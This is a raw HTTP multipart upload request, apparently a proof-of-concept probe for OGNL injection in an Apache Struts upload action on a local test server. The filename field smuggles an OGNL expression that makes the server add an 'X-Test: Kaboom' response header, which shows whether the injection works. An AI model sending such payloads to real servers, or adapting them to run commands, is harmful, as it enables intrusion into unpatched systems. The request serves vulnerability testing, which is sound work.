POST /doUpload.action HTTP/1.1
Host: localhost:8080
Content-Length: 10000000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z
Connection: close
 
------WebKitFormBoundaryAnmUgTEhFhOZpr9z
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"
Content-Type: text/plain
Kaboom 
 
------WebKitFormBoundaryAnmUgTEhFhOZpr9z--